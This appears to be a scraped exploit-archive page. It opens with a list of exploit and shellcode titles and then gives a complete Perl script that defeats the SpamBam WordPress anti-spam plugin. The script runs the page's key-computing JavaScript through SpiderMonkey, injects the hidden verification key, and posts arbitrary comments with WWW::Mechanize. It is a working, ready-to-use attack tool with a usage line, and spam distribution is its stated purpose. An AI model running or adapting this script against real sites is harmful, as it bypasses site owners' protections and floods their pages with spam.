880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
102 lines
No EOL
3.2 KiB
Perl
Executable file
102 lines
No EOL
3.2 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/27291/info
|
|
|
|
SpamBam is prone to a security-bypass vulnerability because client-accessible data can be used to calculate verification keys.
|
|
|
|
Attackers can exploit this issue to submit arbitrary form data via automated scripts and distribute spam.
|
|
|
|
#!/usr/bin/perl -w
|
|
|
|
# Defeating SpamBam exploit
|
|
# by Jose Palazon (josem.palazon@gmail.com) (a.k.a. palako)
|
|
|
|
# Vulnerable software:
|
|
# SpamBam (http://wordpress.org/extend/plugins/spambam/) by Gareth Heyes
|
|
|
|
# Vulnerability:
|
|
# No matter how hard you ofuscate or encrypt your code, never, under no
|
|
circunstances, rely
|
|
# any security aspect on the client. Never!
|
|
|
|
# How the plugin works:
|
|
# It generates a pseudo-random code both on the client and the server to
|
|
generate a key.
|
|
# On form submit, both key values are checked and they should match to
|
|
allow comment insertion.
|
|
|
|
#How the exploit works:
|
|
# It does nothing but acting as a client. It parses the html, extracts
|
|
the javascript, process it
|
|
# to calculate the key and fills the hidden field with it.
|
|
|
|
# Solution:
|
|
# Sorry guys but there's no fix for this. It'ss just a design flaw.
|
|
|
|
use WWW::Mechanize;
|
|
use JavaScript::SpiderMonkey;
|
|
|
|
my $tmpContent;
|
|
my $javascriptCode;
|
|
my $spamBamKey;
|
|
|
|
die ("Usage: spambam.pl <post url> <author> <email> <comment>\n") unless
|
|
$ARGV[3];
|
|
|
|
my $url = $ARGV[0];
|
|
my $author = $ARGV[1];
|
|
my $email = $ARGV[2];
|
|
my $comment = $ARGV[3];
|
|
|
|
my $mech = WWW::Mechanize->new( autocheck => 1 );
|
|
|
|
$mech->get($url);
|
|
|
|
# WWW::Mechanize doesn't support javascript, so the field
|
|
comment_spambamKey won't be
|
|
# recognized by $mech->field. Thus, I'll make an update_html adding the
|
|
field, and for
|
|
# this purpose I save first the original contents. Indeed, substitition
|
|
occurs via the
|
|
# javascript callback function "extractKey"
|
|
$tmpContent = $mech->content;
|
|
|
|
|
|
# Eliminate carriage returns to apply sed. Later I'll have to restore
|
|
them
|
|
# to execute the javascript code, as not every line is semicolon
|
|
terminated.
|
|
# That's the reason of the __WHO_BAMS_WHO__ string.
|
|
$_ = $mech->content;
|
|
s/\n/__WHO_BAMS_WHO__/g;
|
|
|
|
# Extract the javascript code and the name of the variable where the key
|
|
is going to be calculated
|
|
/<script type="text\/javascript">(.*)document\.write\('<input
|
|
type="hidden" name="comment_spambamKey" value="'\+(.*)\+'">'\);/g;
|
|
$javascriptCode = $1;
|
|
$spamBamKey = $2;
|
|
|
|
# Add the javascript instruction which will comunicate the key to the
|
|
perl code.
|
|
$javascriptCode .= "\nextractKey($spamBamKey);";
|
|
|
|
my $js = JavaScript::SpiderMonkey->new();
|
|
$js->init(); # Initialize Runtime/Context
|
|
|
|
# Define perl callback for extracting the key from the javascript code
|
|
$js->function_set("extractKey", sub { $tmpContent =~ s/<\/form>/<input
|
|
type=\"hidden\" name=\"comment_spambamKey\" value=\"@_\"><\/form>/; });
|
|
|
|
# Restore Carriage returns and execute javascript code
|
|
$javascriptCode =~ s/__WHO_BAMS_WHO__/\n/g;
|
|
my $rc = $js->eval($javascriptCode);
|
|
$js->destroy();
|
|
|
|
# Process form
|
|
$mech->update_html( $tmpContent );
|
|
$mech->form_number(1);
|
|
$mech->field("author", $author);
|
|
$mech->field("email", $email);
|
|
$mech->field("comment", $comment);
|
|
$mech->submit();
|
|
|
|
printf("Check it. Comment should have been added\n"); |